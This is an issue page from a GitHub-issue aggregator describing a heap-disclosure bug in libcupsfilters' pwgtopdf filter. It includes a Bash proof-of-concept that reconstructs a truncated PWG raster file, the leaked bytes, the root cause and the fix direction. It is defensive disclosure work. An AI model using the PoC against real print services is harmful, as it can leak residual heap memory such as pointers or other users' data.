OpenPrinting / OpenPrinting/libcupsfilters

pwgtopdf: a truncated raster row is copied from uninitialized heap memory

Open
#191 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

cfFilterPWGToPDF() ignores a failed raster-row read and still copies the
entire uninitialized row buffer into the generated PDF image stream. A valid
page header followed by no pixel data produces a successful PDF containing
heap bytes that were never initialized by the document.

The document alone reaches the normal standalone pwgtopdf filter. The
confidentiality impact depends on whether an attacker can retrieve or observe
the filter's generated PDF.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.pwg contains a complete compressed CUPS/PWG Raster v2 header
for a 32x1, 8-bit grayscale page and no compressed row. It is 1,800 bytes with
SHA-256
381fe9cece73278d91203d58084525a70899f1884e2c9bc8364c10ff1b05820f.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pwgtopdf: a truncated raster row is copied from uninitialized heap memory
# Finding ID: pwgtopdf-truncated-row-heap-disclosure
# Trigger: cfFilterPWGToPDF() ignores a failed raster-row read and still
# copies the entire uninitialized row buffer into the generated PDF image
# stream. A valid page header followed by no pixel data produces a successful
# PDF containing heap bytes that were never initialized by the document.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pwg (1800 bytes)
write_file document.pwg 381fe9cece73278d91203d58084525a70899f1884e2c9bc8364c10ff1b05820f <<'POC_PAYLOAD_0'
H4sIAAAAAAACAzMKTgwKKE8PSiwuSS1iGAUwoMMIwUJAtgoQBzExMHxhQlUDkyMEUoD6JJhRxRSA
mBHK5oBiBSRzGZDkUdmSLgwMbkA8wZGBQcCJoUEEyLZ1GY2xUTAKRsFIBT6pJRRVYAAqxpAzCAcA
AA==
POC_PAYLOAD_0

Result

The filter returns success and verify_output.py locates a 32-byte Flate
stream containing:

bebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebe

0xbe is the ASan allocator's uninitialized heap fill. A normal allocator can
instead expose residual data from an earlier allocation. The archived plain
build produced pointer-shaped bytes such as:

9b51a6ce075f00000000000000000000a434853e025f00006423843e025f0000

Cause and expected behavior

convert_raster() ignores the return value of:

cupsRasterReadPixels(doc->ras, doc->PixelBuffer, doc->line_bytes);

A truncated row returns zero, but the function continues through color
conversion and writes line_bytes bytes to the PDF image stream
(pwgtopdf.c:1586,1620). The filter must require a complete row, stop the job
on a short read, and never serialize bytes that were not initialized by the
raster decoder.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in pwgtopdf.c at convert_raster(), especially the calls around lines 1586 and 1620, and inspect how cupsRasterReadPixels() results reach the PDF image stream. Run reproduce.sh and verify_output.py with poc/document.pwg; done means a truncated row causes the filter to stop without producing a successful PDF containing uninitialized bytes.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
74/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.